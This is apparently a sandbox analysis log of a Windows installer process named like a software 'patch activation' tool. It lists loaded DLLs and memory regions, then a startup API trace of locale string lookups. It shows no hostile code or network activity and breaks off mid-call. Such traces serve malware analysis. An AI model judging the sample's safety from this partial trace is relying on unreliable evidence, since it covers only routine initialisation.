0x74a40000 end_va = 0x74a4bfff monitored = 0 entry_point = 0x74a410e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 938 start_va = 0x75130000 end_va = 0x751befff monitored = 0 entry_point = 0x75133fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 939 start_va = 0x75740000 end_va = 0x7589bfff monitored = 0 entry_point = 0x7578ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 940 start_va = 0x74a10000 end_va = 0x74a21fff monitored = 0 entry_point = 0x74a11200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 942 start_va = 0x733a0000 end_va = 0x733a8fff monitored = 0 entry_point = 0x733a1220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 944 start_va = 0x73a90000 end_va = 0x73c2dfff monitored = 0 entry_point = 0x73abe6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 945 start_va = 0x751c0000 end_va = 0x75216fff monitored = 0 entry_point = 0x751d9ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 946 start_va = 0x75be0000 end_va = 0x76829fff monitored = 0 entry_point = 0x75c61601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 947 start_va = 0x758d0000 end_va = 0x7594afff monitored = 0 entry_point = 0x758d1aee region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\SysWOW64\\comdlg32.dll" (normalized: "c:\\windows\\syswow64\\comdlg32.dll") Region: id = 948 start_va = 0x73900000 end_va = 0x73904fff monitored = 0 entry_point = 0x739010f6 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\SysWOW64\\msimg32.dll" (normalized: "c:\\windows\\syswow64\\msimg32.dll") Region: id = 954 start_va = 0x20000 end_va = 0x3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 955 start_va = 0x220000 end_va = 0x23dfff monitored = 0 entry_point = 0x23158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 956 start_va = 0x670000 end_va = 0x7f7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000670000" filename = "" Region: id = 957 start_va = 0x220000 end_va = 0x23dfff monitored = 0 entry_point = 0x23158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 958 start_va = 0x75550000 end_va = 0x755affff monitored = 0 entry_point = 0x7556158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 959 start_va = 0x74c40000 end_va = 0x74d0bfff monitored = 0 entry_point = 0x74c4168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 960 start_va = 0x800000 end_va = 0x980fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000800000" filename = "" Region: id = 961 start_va = 0x990000 end_va = 0x1d8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000990000" filename = "" Region: id = 962 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 963 start_va = 0x30000 end_va = 0x3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 964 start_va = 0x220000 end_va = 0x220fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 965 start_va = 0x230000 end_va = 0x230fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 966 start_va = 0x240000 end_va = 0x241fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 967 start_va = 0x2d0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 972 start_va = 0x230000 end_va = 0x230fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 973 start_va = 0x73a10000 end_va = 0x73a8ffff monitored = 0 entry_point = 0x73a237c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 974 start_va = 0x1d90000 end_va = 0x1f2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d90000" filename = "" Region: id = 977 start_va = 0x1d90000 end_va = 0x1e6efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d90000" filename = "" Region: id = 978 start_va = 0x1ef0000 end_va = 0x1f2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ef0000" filename = "" Region: id = 979 start_va = 0x739f0000 end_va = 0x73a02fff monitored = 0 entry_point = 0x739f1d3f region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 980 start_va = 0x1f30000 end_va = 0x206ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f30000" filename = "" Region: id = 981 start_va = 0x2070000 end_va = 0x299ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 982 start_va = 0x4d0000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 983 start_va = 0x570000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 984 start_va = 0x29a0000 end_va = 0x2c6efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 989 start_va = 0x3d0000 end_va = 0x3d4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\user32.dll.mui") Region: id = 990 start_va = 0x1f30000 end_va = 0x1feffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 991 start_va = 0x2030000 end_va = 0x206ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002030000" filename = "" Region: id = 993 start_va = 0x3e0000 end_va = 0x3e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netmsg.dll" filename = "\\Windows\\SysWOW64\\netmsg.dll" (normalized: "c:\\windows\\syswow64\\netmsg.dll") Region: id = 994 start_va = 0x1e70000 end_va = 0x1e9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netmsg.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\netmsg.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\netmsg.dll.mui") Region: id = 995 start_va = 0x3f0000 end_va = 0x3f3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 996 start_va = 0x2c70000 end_va = 0x2e6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c70000" filename = "" Region: id = 999 start_va = 0x550000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 1000 start_va = 0x3f0000 end_va = 0x3f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 1042 start_va = 0x748d0000 end_va = 0x748dafff monitored = 0 entry_point = 0x748d1992 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 1043 start_va = 0x1ea0000 end_va = 0x1ea0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1044 start_va = 0x1ea0000 end_va = 0x1ea1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1045 start_va = 0x1eb0000 end_va = 0x1eb0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001eb0000" filename = "" Region: id = 1046 start_va = 0x1eb0000 end_va = 0x1eb0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001eb0000" filename = "" Region: id = 1047 start_va = 0x1eb0000 end_va = 0x1eb0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001eb0000" filename = "" Region: id = 1048 start_va = 0x1eb0000 end_va = 0x1eb0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001eb0000" filename = "" Region: id = 1049 start_va = 0x1eb0000 end_va = 0x1eb0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001eb0000" filename = "" Region: id = 1050 start_va = 0x1eb0000 end_va = 0x1eb0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001eb0000" filename = "" Region: id = 1051 start_va = 0x1eb0000 end_va = 0x1eb0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001eb0000" filename = "" Region: id = 1052 start_va = 0x1eb0000 end_va = 0x1eb0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001eb0000" filename = "" Region: id = 1053 start_va = 0x1eb0000 end_va = 0x1eb0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001eb0000" filename = "" Region: id = 1054 start_va = 0x1eb0000 end_va = 0x1eb0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001eb0000" filename = "" Region: id = 1055 start_va = 0x749e0000 end_va = 0x749e4fff monitored = 0 entry_point = 0x749e11d0 region_type = mapped_file name = "shfolder.dll" filename = "\\Windows\\SysWOW64\\shfolder.dll" (normalized: "c:\\windows\\syswow64\\shfolder.dll") Region: id = 1056 start_va = 0x749d0000 end_va = 0x749d4fff monitored = 0 entry_point = 0x749d11d0 region_type = mapped_file name = "shfolder.dll" filename = "\\Windows\\SysWOW64\\shfolder.dll" (normalized: "c:\\windows\\syswow64\\shfolder.dll") Region: id = 1057 start_va = 0x749e0000 end_va = 0x749e4fff monitored = 0 entry_point = 0x749e11d0 region_type = mapped_file name = "shfolder.dll" filename = "\\Windows\\SysWOW64\\shfolder.dll" (normalized: "c:\\windows\\syswow64\\shfolder.dll") Region: id = 1058 start_va = 0x749b0000 end_va = 0x749d7fff monitored = 0 entry_point = 0x749cd352 region_type = mapped_file name = "rstrtmgr.dll" filename = "\\Windows\\SysWOW64\\RstrtMgr.dll" (normalized: "c:\\windows\\syswow64\\rstrtmgr.dll") Region: id = 1059 start_va = 0x74970000 end_va = 0x749a7fff monitored = 0 entry_point = 0x74971489 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\SysWOW64\\ncrypt.dll" (normalized: "c:\\windows\\syswow64\\ncrypt.dll") Region: id = 1060 start_va = 0x749f0000 end_va = 0x74a06fff monitored = 0 entry_point = 0x749f35fa region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 1061 start_va = 0x76ed0000 end_va = 0x76edbfff monitored = 0 entry_point = 0x76ed238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 1062 start_va = 0x1eb0000 end_va = 0x1eb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001eb0000" filename = "" Region: id = 1063 start_va = 0x1eb0000 end_va = 0x1eb0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001eb0000" filename = "" Region: id = 1064 start_va = 0x74930000 end_va = 0x7496cfff monitored = 0 entry_point = 0x749310f5 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 1065 start_va = 0x2c70000 end_va = 0x2d6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c70000" filename = "" Region: id = 1068 start_va = 0x70bc0000 end_va = 0x71f15fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\SysWOW64\\imageres.dll" (normalized: "c:\\windows\\syswow64\\imageres.dll") Region: id = 1071 start_va = 0x1ec0000 end_va = 0x1ec0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "imageres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\imageres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\imageres.dll.mui") Region: id = 1072 start_va = 0x2d70000 end_va = 0x2dcbfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "shell32.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\shell32.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\shell32.dll.mui") Region: id = 1073 start_va = 0x1ec0000 end_va = 0x1ec0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ec0000" filename = "" Region: id = 1074 start_va = 0x754c0000 end_va = 0x75542fff monitored = 0 entry_point = 0x754c23d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 1075 start_va = 0x1ed0000 end_va = 0x1ed0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ed0000" filename = "" Region: id = 1076 start_va = 0x71ec0000 end_va = 0x71f17fff monitored = 0 entry_point = 0x71ec15c0 region_type = mapped_file name = "tiptsf.dll" filename = "\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\tiptsf.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\tiptsf.dll") Region: id = 1078 start_va = 0x71e40000 end_va = 0x71eb5fff monitored = 0 entry_point = 0x71e416bb region_type = mapped_file name = "riched20.dll" filename = "\\Windows\\SysWOW64\\riched20.dll" (normalized: "c:\\windows\\syswow64\\riched20.dll") Region: id = 1081 start_va = 0x2dd0000 end_va = 0x2ed0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002dd0000" filename = "" Region: id = 1083 start_va = 0x1ee0000 end_va = 0x1ee2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ee0000" filename = "" Region: id = 1123 start_va = 0x1ff0000 end_va = 0x1ff0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ff0000" filename = "" Region: id = 1124 start_va = 0x2dd0000 end_va = 0x4124fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\SysWOW64\\imageres.dll" (normalized: "c:\\windows\\syswow64\\imageres.dll") Region: id = 1125 start_va = 0x2000000 end_va = 0x2000fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "imageres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\imageres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\imageres.dll.mui") Thread: id = 14 os_tid = 0x8cc [0252.124] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0252.124] GetCommandLineA () returned="\"C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\is-IDT09.tmp\\A1Photo-&-Art-Enhancer_Search&Patch_Activation.tmp\" /SL5=\"$60182,111616,111616,C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\A1Photo-&-Art-Enhancer_Search&Patch_Activation.exe\" " [0252.125] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x752b0000 [0252.125] GetVersion () returned 0x1db10106 [0252.125] GetProcAddress (hModule=0x752b0000, lpProcName="SetDefaultDllDirectories") returned 0x753d208a [0252.125] SetDefaultDllDirectories (DirectoryFlags=0x800) returned 1 [0252.125] GetProcAddress (hModule=0x752b0000, lpProcName="SetSearchPathMode") returned 0x7534072b [0252.126] SetSearchPathMode (Flags=0x8001) returned 1 [0252.126] GetProcAddress (hModule=0x752b0000, lpProcName="SetProcessDEPPolicy") returned 0x752deb6a [0252.126] SetProcessDEPPolicy (dwFlags=0x1) returned 0 [0252.126] InitCommonControls () [0252.126] LocalAlloc (uFlags=0x0, uBytes=0xff8) returned 0x587c90 [0252.289] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x1) returned 0x2d0000 [0252.289] LocalAlloc (uFlags=0x0, uBytes=0x644) returned 0x588c90 [0252.290] VirtualAlloc (lpAddress=0x2d0000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x2d0000 [0252.291] LoadStringA (in: hInstance=0x400000, uID=0xff87, lpBuffer=0x18fb0c, cchBufferMax=1024 | out: lpBuffer="Out of memory") returned 0xd [0252.291] GetSystemDefaultLCID () returned 0x409 [0252.291] LoadStringA (in: hInstance=0x400000, uID=0xffc0, lpBuffer=0x18fb10, cchBufferMax=1024 | out: lpBuffer="Jan") returned 0x3 [0252.291] GetLocaleInfoA (in: Locale=0x409, LCType=0x44, lpLCData=0x18fe14, cchData=256 | out: lpLCData="Jan") returned 4 [0252.292] LoadStringA (in: hInstance=0x400000, uID=0xffd0, lpBuffer=0x18fb10, cchBufferMax=1024 | out: lpBuffer="January") returned 0x7 [0252.292] GetLocaleInfoA (in: Locale=0x409, LCType=0x38, lpLCData=0x18fe14, cchData=256 | out: lpLCData="January") returned 8 [0252.293] LoadStringA (in: hInstance=0x400000, uID=0xffc1, lpBuffer=0x18fb10, cchBufferMax=1024 | out: lpBuffer="Feb") returned 0x3 [0252.293] GetLocaleInfoA (in: Locale=0x409, LCType=0x45, lpLCData=0x18fe14, cchData=256 | out: lpLCData="Feb") returned 4 [0252.293] LoadStringA (in: hInstance=0x400000, uID=0xffd1, lpBuffer=0x18fb10, cchBufferMax=1024 | out: lpBuffer="February") returned 0x8 [0252.293] GetLocaleInfoA (in: Locale=0x409, LCType=0x39, lpLCData=0x18fe14, cchData=256 | out: lpLCData="February") returned 9 [0252.293] LoadStringA (in: hInstance=0x400000, uID=0xffc2, lpBuffer=0x18fb10, cchBufferMax=1024 | out: lpBuffer="Mar") returned 0x3 [0252.293] GetLocaleInfoA (in: Locale=0x409, LCType=0x46, lpLCData=0x18fe14, cchData=256 | out: lpLCData="Mar") returned 4 [0252.293] LoadStringA (in: hInstance=0x400000, uID=0xffd2, lpBuffer=0x18fb10, cchBufferMax=1024 | out: lpBuffer="March") returned 0x5 [0252.293] GetLocaleInfoA (in: Locale=0x409, LCType=0x3a, lpLCData=0x18fe14, cchData=256 | out: lpLCData="March") returned 6 [0252.293] LoadStringA (in: hInstance=0x400000, uID=0xffc3, lpBuffer=0x18fb10, cchBufferMax=1024 | out: lpBuffer="Apr") returned 0x3 [0252.293] GetLocaleInfoA (in: Locale=0x409, LCType=0x47, lpLCData=0x18fe14, cchData=256 | out: lpLCData="Apr") returned 4 [0252.293] LoadStringA (in: hInstance=0x400000, uID=0xffd3, lpBuffer=0x18fb10, cchBufferMax=1024 | out: lpBuffer="April") returned 0x5 [0252.293] GetLocaleInfoA (in: Locale=0x409, LCType=0x3b, lpLCData=0x18fe14, cchData=256 | out: lpLCData="April") returned 6 [0252.293] LoadStringA (in: hInstance=0x400000, uID=0xffc4, lpBuffer=0x18fb10, cchBufferMax=1024 | out: lpBuffer="May") returned 0x3 [0252.293] GetLocaleInfoA (in: Locale=0x409, LCType=0x48, lpLCData=0x18fe14, cchData=256 | out: lpLCData="May") returned 4 [0252.293] LoadStringA (in: hInstance=0x400000, uID=0xffd4, lpBuffer=0x18fb10, cchBufferMax=1024 | out: lpBuffer="May") returned 0x3 [0252.293] GetLocaleInfoA (in: Locale=0x409, LCType=0x3c, lpLCData=0x18fe14, cchData=256 | out: lpLCData="May") returned 4 [0252.293] LoadStringA (in: hInstance=0x400000, uID=0xffc5, lpBuffer=0x18fb10, cchBufferMax=1024 | out: lpBuffer="Jun") returned 0x3 [0252.293] GetLocaleInfoA (in: Locale=0x409, LCType=0x49, lpLCData=0x18fe14, cchData=256 | out: lpLCData="Jun") returned 4 [0252.293] LoadStringA (in: hInstance=0x400000, uID=0xffd5, lpBuffer=0x18fb10, cchBufferMax=1024 | out: lpBuffer="June") returned 0x4 [0252.293] GetLocaleInfoA (in: Locale=0x409, LCType=0x3d, lpLCData=0x18fe14, cchData=256 | out: lpLCData="June") returned 5 [0252.293] LoadStringA (in: hInstance=0x400000, uID=0xffc6, lpBuffer=0x18fb10, cchBufferMax=1024 | out: lpBuffer="Jul") returned 0x3 [0252.293] GetLocaleInfoA (in: Locale=0x409, LCType=0x4a, lpLCData=0x18fe14, cchData=256 | out: lpLCData="Jul") returned 4 [0252.293] LoadStringA (in: hInstance=0x400000, uID=0xffd6, lpBuffer=0x18fb10, cchBufferMax=1024 | out: lpBuffer="July") returned 0x4 [0252.293] GetLocaleInfoA (in: Locale=0x409, LCType=0x3e, lpLCData=0x18fe14, cchData=256 | out: lpLCData="July") returned 5 [0252.293] LoadStringA (in: hInstance=0x400000, uID=0xffc7, lpBuffer=0x18fb10, cchBufferMax=1024 | out: lpBuffer="Aug") returned 0x3 [0252.293] GetLocaleInfoA (in: Locale=0x409, LCType=0x4b, lpLCData=0x18fe14, cchData=256 | out: lpLCData="Aug") returned 4 [0252.293] LoadStringA (in: hInstance=0x400000, uID=0xffd7, lpBuffer=0x18fb10, cchBufferMax=1024 | out: lpBuffer="August") returned 0x6 [0252.293] GetLocaleInfoA (in: Locale=0x409, LCType=0x3f, lpLCData=0x18fe14, cchData=256 | out: lpLCData="August") returned 7 [0252.293] LoadStringA (in: hInstance=0x400000, uID=0xffc8, lpBuffer=0x18fb10, cchBufferMax=1024 | out: lpBuffer="Sep") returned 0x3 [0252.293] GetLocaleInfoA (in: Locale=0x409, LCType=0x4c, lpLCData=0x18fe14, cchData=256 | out: lpLCData="Sep") returned 4 [0252.293] LoadStringA (in: hInstance=0x400000, uID=0xffd8, lpBuffer=0x18fb10, cchBufferMax=1024 | out: lpBuffer="September") returned 0x9 [0252.293] GetLocaleInfoA (in: Locale=0x409, LCType=0x40, lpLCData=0x18fe14, cchData=256 | out: lpLCData="September") returned 10 [0252.293] LoadStringA (in: hInstance=0x400000, uID=0xffc9, lpBuffer=0x18fb10, cchBufferMax=1024 | out: lpBuffer="Oct") returned 0x3 [0252.293] GetLocaleInfoA (in: Locale=0x409, LCType=0x4d, lpLCData=0x18fe14, cchData=256 | out: lpLCData="Oct") returned 4 [0252.294] LoadStringA (in: hInstance=0x400000, uID=0xffd9, lpBuffer=0x18fb10, cchBufferMax=1024 | out: lpBuffer="October") returned 0x7 [0252.294] GetLocaleInfoA (in: Locale=0x409, LCType=0x41, lpLCData=0x18fe14, cchData=256 | out: lpLCData="October") returned 8 [0252.294] LoadStringA (in: hInstance=0x400000, uID=0xffca, lpBuffer=0x18fb10, cchBufferMax=1024 | out: lpBuffer="Nov") returned 0x3 [0252.294] GetLocaleInfoA (in: Locale=0x409, LCType=0x4e, lpLCData=0x18fe14, cchData=256 | out: lpLCData="Nov") returned 4 [0252.294] LoadStringA (in: hInstance=0x400000, uID=0xffda, lpBuffer=0x18fb10, cchBufferMax=1024 | out: lpBuffer="November") returned 0x8 [0252.294] GetLocaleInfoA (in: Locale=0x409, LCType=0x42, lpLCData=0x18fe14, cchData=256 | out: lpLCData="November") returned 9 [0252.294] LoadStringA (in: hInstance=0x400000, uID=0xffcb, lpBuffer=0x18fb10, cchBufferMax=1024 | out: lpBuffer="Dec") returned 0x3 [0252.294] GetLocaleInfoA (in: Locale=0x409, LCType=0x4f, lpLCData=0x18fe14, cchData=256 | out: lpLCData="Dec") returned 4 [0252.294] LoadStringA (in: hInstance=0x400000, uID=0xffdb, lpBuffer=0x18fb10, cchBufferMax=1024 | out: lpBuffer="December") returned 0x8 [0252.294] GetLocaleInfoA (in: Locale=0x409, LCType=0x43, lpLCData=0x18fe14, cchData=256 | out: lpLCData="December") returned 9 [0252.294] LoadStringA (in: hInstance=0x400000, uID=0xffe0, lpBuffer=0x18fb10, cchBufferMax=1024 | out: lpBuffer="Sun") returned 0x3 [0252.294] GetLocaleInfoA (in: Locale=0x409, LCType=0x37, lpLCData=0x18fe14, cchData=256 | out: lpLCData="Sun") returned 4 [0252.294] LoadStringA (in: hInstance=0x400000, uID=0xffe7, lpBuffer=0x18fb10, cchBufferMax=1024 | out: lpBuffer="Sunday") returned 0x6 [0252.294] GetLocaleInfoA (in: Locale=0x409, LCType=0x30, lpLCData=0x18fe14, cchData=256 | out: lpLCData="Sunday") returned 7 [0252.294] LoadStringA (in: hInstance=0x400000, uID=0xffe1, lpBuffer=0x18fb10, cchBufferMax=1024 | out: lpBuffer="Mon") returned 0x3 [0252.294] GetLocaleInfoA (in: Locale=0x409, LCType=0x31, lpLCData=0x18fe14, cchData=256 | out: lpLCData="Mon") returned 4 [0252.294] LoadStringA (in: hInstance=0x400000, uID=0xffe8, lpBuffer=0x18fb10, cchBufferMax=1024 | out: lpBuffer="Monday") returned 0x6 [0252.294] GetLocaleInfoA (in: Locale=0x409, LCType=0x2a, lpLCData=0x18fe14, cchData=256 | out: lpLCData="Monday") returned 7 [0252.294] LoadStringA (in: hInstance=0x400000, uID=0xffe2, lpBuffer=0x18fb10, cchBufferMax=1024 | out: lpBuffer="Tue") returned 0x3 [0252.294] GetLocaleInfoA (in: Locale=0x409, LCType=0x32, lpLCData=0x18fe14, cchData=256 | out: lpLCData="Tue") returned 4 [0252.294] LoadStringA (in: hInstance=0x400000, uID=0xffe9, lpBuffer=0x18fb10, cchBufferMax=1024 | out: lpBuffer="Tuesday") returned 0x7 [0252.294] GetLocaleInfoA (in: Locale=0x409, LCType=0x2b, lpLCData=0x18fe14, cchData=256 | out: lpLCData="Tuesday") returned 8 [0252.294] LoadStringA (in: hInstance=0x400000, uID=0xffe3, lpBuffer=0x18fb10, cchBufferMax=1024 | out: lpBuffer="Wed") returned 0x3 [0252.294] GetLocaleInfoA (in: Locale=0x409, LCType=0x33, lpLCData=0x18fe14, cchData=256 | out: lpLCData="Wed") returned 4 [0252.294] LoadStringA (in: hInstance=0x400000, uID=0xffea, lpBuffer=0x18fb10, cchBufferMax=1024 | out: lpBuffer="Wednesday") returned 0x9 [0252.294] GetLocaleInfoA (in: Locale=0x409, LCType=0x2c, lpLCData=0x18fe14, cchData=256 | out: lpLCData="Wednesday") returned 10 [0252.294] LoadStringA (in: hInstance=0x400000, uID=0xffe4, lpBuffer=0x18fb10, cchBufferMax=1024 | out: lpBuffer="Thu") returned 0x3 [0252.294] GetLocaleInfoA (in: Locale=0x409, LCType=0x34, lpLCData=0x18fe14, cchData=256 | out: lpLCData="Thu") returned 4 [0252.294] LoadStringA (in: hInstance=0x400000, uID=0xffeb, lpBuffer=0x18fb10, cchBufferMax=1024 | out: lpBuffer="Thursday") returned 0x8 [0252.294] GetLocaleInfoA (in: Locale=0x409, LCType=0x2d, lpLCData=0x18fe14, cchData=256 | out: lpLCData="Thursday") returned 9 [0252.294] LoadStringA (in: hInstance=0x400000, uID=0xffe5, lpBuffer=0x18fb10, cchBufferMax=1024 | out: lpBuffer="Fri") returned 0x3 [0252.294] GetLocaleInfoA (in: Locale=0x409, LCType=0x35, lpLCData=0x18fe14, cchData=256 | out: lpLCData="Fri") returned 4 [0252.294] LoadStringA (in: hInstance=0x400000, uID=0xffec, lpBuffer=0x18fb10, cchBufferMax=1024 | out: lpBuffer="Friday") returned 0x6 [0252.294] GetLocaleInfoA (in: Locale=0x409, LCType=0x2e, lpLCData=0x18fe14, cchData=256 | out: lpLCData="Friday") returned 7 [0252.295] LoadStringA (in: hInstance=0x400000, uID=0xffe6, lpBuffer=0x18fb10, cchBufferMax=1024 | out: lpBuffer="Sat") returned 0x3 [0252.295] GetLocaleInfoA (in: Locale=0x409, LCType=0x36, 